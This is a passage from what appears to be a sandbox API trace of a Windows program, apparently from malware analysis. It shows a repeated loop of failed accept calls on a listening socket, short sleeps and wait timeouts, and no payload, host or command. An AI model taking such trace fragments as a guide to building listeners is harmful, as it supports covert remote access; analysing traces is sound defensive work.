addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0114.034] Sleep (dwMilliseconds=0xa) [0114.177] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0114.254] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0114.254] Sleep (dwMilliseconds=0xa) [0114.340] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0114.481] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0114.481] Sleep (dwMilliseconds=0xa) [0114.582] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0114.715] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0114.715] Sleep (dwMilliseconds=0xa) [0114.815] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0114.929] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0114.929] Sleep (dwMilliseconds=0xa) [0115.055] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0115.211] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0115.211] Sleep (dwMilliseconds=0xa) [0115.303] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0115.372] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0115.372] Sleep (dwMilliseconds=0xa) [0115.418] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0115.526] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0115.526] Sleep (dwMilliseconds=0xa) [0115.620] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0115.744] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0115.744] Sleep (dwMilliseconds=0xa) [0115.900] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0116.040] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0116.040] Sleep (dwMilliseconds=0xa) [0116.165] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0116.246] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0116.246] Sleep (dwMilliseconds=0xa) [0116.336] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0116.415] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0116.415] Sleep (dwMilliseconds=0xa) [0116.508] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0116.602] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0116.602] Sleep (dwMilliseconds=0xa) [0116.631] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0116.639] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0116.639] Sleep (dwMilliseconds=0xa) [0116.649] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0116.711] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0116.711] Sleep (dwMilliseconds=0xa) [0116.730] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0116.744] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0116.744] Sleep (dwMilliseconds=0xa) [0116.758] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0116.774] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0116.774] Sleep (dwMilliseconds=0xa) [0116.792] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0116.805] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0116.805] Sleep (dwMilliseconds=0xa) [0116.945] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0117.086] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0117.086] Sleep (dwMilliseconds=0xa) [0117.180] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0117.320] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0117.320] Sleep (dwMilliseconds=0xa) [0117.421] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0117.507] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0117.507] Sleep (dwMilliseconds=0xa) [0117.601] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0117.725] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0117.725] Sleep (dwMilliseconds=0xa) [0117.866] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0118.024] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0118.024] Sleep (dwMilliseconds=0xa) [0118.193] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0118.287] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0118.287] Sleep (dwMilliseconds=0xa) [0118.334] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0118.427] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0118.427] Sleep (dwMilliseconds=0xa) [0118.486] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0118.523] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0118.523] Sleep (dwMilliseconds=0xa) [0118.583] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0118.678] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0118.678] Sleep (dwMilliseconds=0xa) [0118.733] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0118.772] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0118.772] Sleep (dwMilliseconds=0xa) [0118.790] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0118.872] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0118.872] Sleep (dwMilliseconds=0xa) [0118.938] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0118.967] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0118.967] Sleep (dwMilliseconds=0xa) [0118.991] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0119.037] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0119.037] Sleep (dwMilliseconds=0xa) [0119.065] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0119.067] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0119.067] Sleep (dwMilliseconds=0xa) [0119.098] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0119.153] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0119.153] Sleep (dwMilliseconds=0xa) [0119.192] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0119.296] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0119.296] Sleep (dwMilliseconds=0xa) [0119.373] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0119.385] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0119.385] Sleep (dwMilliseconds=0xa) [0119.395] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0119.426] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0119.426] Sleep (dwMilliseconds=0xa) [0119.441] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0119.487] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0119.487] Sleep (dwMilliseconds=0xa) [0119.566] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0119.592] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0119.592] Sleep (dwMilliseconds=0xa) [0119.597] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0119.613] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0119.613] Sleep (dwMilliseconds=0xa) [0119.628] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0119.644] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0119.644] Sleep (dwMilliseconds=0xa) [0119.660] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0119.675] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0119.675] Sleep (dwMilliseconds=0xa) [0119.691] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0119.741] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0119.741] Sleep (dwMilliseconds=0xa) [0119.785] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0119.801] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0119.801] Sleep (dwMilliseconds=0xa) [0119.894] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0119.987] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0119.987] Sleep (dwMilliseconds=0xa) [0120.034] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0120.081] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0120.081] Sleep (dwMilliseconds=0xa) [0120.128] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0120.208] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0120.208] Sleep (dwMilliseconds=0xa) [0120.221] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0120.237] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0120.237] Sleep (dwMilliseconds=0xa) [0120.252] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0120.268] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0120.268] Sleep (dwMilliseconds=0xa) [0120.284] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0120.302] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0120.302] Sleep (dwMilliseconds=0xa) [0120.315] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0120.362] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0120.362] Sleep (dwMilliseconds=0xa) [0120.382] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0120.434] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0120.434] Sleep (dwMilliseconds=0xa) [0120.471] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0120.643] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0120.643] Sleep (dwMilliseconds=0xa) [0120.745] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0120.788] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0120.788] Sleep (dwMilliseconds=0xa) [0120.839] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0120.879] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0120.879] Sleep (dwMilliseconds=0xa) [0120.895] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0120.928] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0120.929] Sleep (dwMilliseconds=0xa) [0120.955] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0120.970] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0120.970] Sleep (dwMilliseconds=0xa) [0120.986] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0121.002] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0121.002] Sleep (dwMilliseconds=0xa) [0121.017] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0121.032] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0121.033] Sleep (dwMilliseconds=0xa) [0121.048] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0121.110] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0121.111] Sleep (dwMilliseconds=0xa) [0121.128] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0121.142] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0121.142] Sleep (dwMilliseconds=0xa) [0121.157] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0121.173] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0121.173] Sleep (dwMilliseconds=0xa) [0121.189] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0121.204] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0121.204] Sleep (dwMilliseconds=0xa) [0121.224] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0121.275] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0121.275] Sleep (dwMilliseconds=0xa) [0121.295] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0121.298] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0121.298] Sleep (dwMilliseconds=0xa) [0121.313] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0121.329] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0121.330] Sleep (dwMilliseconds=0xa) [0121.345] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0121.360] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0121.360] Sleep (dwMilliseconds=0xa) [0121.410] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0121.516] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0121.516] Sleep (dwMilliseconds=0xa) [0121.570] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0121.610] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0121.610] Sleep (dwMilliseconds=0xa) [0121.656] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0121.750] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0121.750] Sleep (dwMilliseconds=0xa) [0121.844] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0121.943] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0121.944] Sleep (dwMilliseconds=0xa) [0122.019] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.109] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0122.109] Sleep (dwMilliseconds=0xa) [0122.161] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.187] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0122.187] Sleep (dwMilliseconds=0xa) [0122.203] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.218] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0122.218] Sleep (dwMilliseconds=0xa) [0122.234] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.249] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0122.249] Sleep (dwMilliseconds=0xa) [0122.265] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.312] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0122.312] Sleep (dwMilliseconds=0xa) [0122.327] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.343] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0122.343] Sleep (dwMilliseconds=0xa) [0122.359] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.374] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0122.374] Sleep (dwMilliseconds=0xa) [0122.390] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.410] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0122.410] Sleep (dwMilliseconds=0xa) [0122.421] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.468] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0122.468] Sleep (dwMilliseconds=0xa) [0122.483] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.499] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0122.499] Sleep (dwMilliseconds=0xa) [0122.514] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.540] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0122.540] Sleep (dwMilliseconds=0xa) [0122.546] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.561] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0122.561] Sleep (dwMilliseconds=0xa) [0122.578] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.624] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0122.624] Sleep (dwMilliseconds=0xa) [0122.650] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.655] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0122.655] Sleep (dwMilliseconds=0xa) [0122.671] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.690] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0122.690] Sleep (dwMilliseconds=0xa) [0122.702] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.717] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0122.717] Sleep (dwMilliseconds=0xa) [0122.733] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.783] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0122.784] Sleep (dwMilliseconds=0xa) [0122.840] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.842] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0122.842] Sleep (dwMilliseconds=0xa) [0122.858] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.879] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0122.879] Sleep (dwMilliseconds=0xa) [0122.890] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.905] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0122.905] Sleep (dwMilliseconds=0xa) [0122.921] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.029] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0123.029] Sleep (dwMilliseconds=0xa) [0123.112] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.155] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0123.155] Sleep (dwMilliseconds=0xa) [0123.180] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.185] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0123.185] Sleep (dwMilliseconds=0xa) [0123.201] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.264] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0123.264] Sleep (dwMilliseconds=0xa) [0123.279] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.294] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0123.294] Sleep (dwMilliseconds=0xa) [0123.310] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.326] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0123.326] Sleep (dwMilliseconds=0xa) [0123.341] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.357] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0123.357] Sleep (dwMilliseconds=0xa) [0123.372] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.419] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0123.419] Sleep (dwMilliseconds=0xa) [0123.435] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.450] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0123.450] Sleep (dwMilliseconds=0xa) [0123.466] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.482] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0123.482] Sleep (dwMilliseconds=0xa) [0123.497] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.513] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0123.513] Sleep (dwMilliseconds=0xa) [0123.528] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.585] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0123.585] Sleep (dwMilliseconds=0xa) [0123.593] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.606] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0123.606] Sleep (dwMilliseconds=0xa) [0123.622] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.638] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0123.638] Sleep (dwMilliseconds=0xa) [0123.655] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.669] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0123.669] Sleep (dwMilliseconds=0xa) [0123.684] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.747] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0123.747] Sleep (dwMilliseconds=0xa) [0123.763] WaitForSingleObject (hHandle=0x4, 